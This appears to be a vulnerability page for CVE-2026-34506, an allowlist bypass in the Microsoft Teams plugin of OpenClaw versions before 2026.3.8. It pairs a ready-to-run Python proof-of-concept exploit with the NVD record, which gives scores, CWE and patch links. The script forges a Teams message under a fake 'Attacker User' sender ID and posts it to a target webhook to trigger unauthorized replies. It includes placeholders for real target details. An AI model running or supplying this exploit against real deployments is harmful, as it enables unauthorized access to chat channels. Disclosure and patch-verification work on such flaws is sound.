CVE-2026-34506

import requests import json # PoC for CVE-2026-34506: OpenClaw Sender Allowlist Bypass # Description: This script demonstrates how unauthorized senders can trigger replies # when the 'groupAllowFrom' parameter is empty in the route configuration. def exploit_openclaw_bypass(target_url, channel_id, tenant_id): """ Attempts to send a message to a vulnerable OpenClaw instance. Prerequisite: The target route must have an empty 'groupAllowFrom' configuration. """ headers = { 'Content-Type': 'application/json' } # Construct a malicious payload that mimics a Teams message payload = { "type": "message", "text": "CVE-2026-34506 PoC: Bypassed allowlist", "channelId": channel_id, "tenantId": tenant_id, "from": { "id": "29:1Xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx", # Fake User ID "name": "Attacker User" }, "conversation": { "id": f"19:{channel_id}@thread.tacv2" } } print(f"[*] Sending payload to {target_url}...") try: response = requests.post(target_url, data=json.dumps(payload), headers=headers) if response.status_code == 200: print("[+] Success! The allowlist was bypassed and a reply was triggered.") print(f"[+] Response: {response.text}") else: print(f"[-] Failed. Status Code: {response.status_code}") print(f"[-] Response: {response.text}") except Exception as e: print(f"[!] An error occurred: {e}") if __name__ == "__main__": # Replace these values with the actual target details TARGET = "http://vulnerable-openclaw-endpoint.com/webhook" CHANNEL = "target-channel-id" TENANT = "target-tenant-id" exploit_openclaw_bypass(TARGET, CHANNEL, TENANT)

{"cve": {"id": "CVE-2026-34506", "sourceIdentifier": "[email protected]", "published": "2026-03-31T12:16:30.440", "lastModified": "2026-04-01T19:27:12.840", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenClaw before 2026.3.8 contains a sender allowlist bypass vulnerability in its Microsoft Teams plugin that allows unauthorized senders to bypass intended authorization checks. When a team/channel route allowlist is configured with an empty groupAllowFrom parameter, the message handler synthesizes wildcard sender authorization, permitting any sender in the matched team/channel to trigger replies in allowlisted Teams routes."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.3, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openclaw:openclaw:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "2026.3.8", "matchCriteriaId": "0A2A36CE-E6EC-4C9C-85F4-06C408B57A72"}]}]}], "references": [{"url": "https://github.com/openclaw/openclaw/commit/88aee9161e0e6d32e810a25711e32a808a1777b2", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-g7cr-9h7q-4qxq", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.vulncheck.com/advisories/openclaw-sender-allowlist-bypass-in-microsoft-teams-plugin-via-route-allowlist-configuration", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}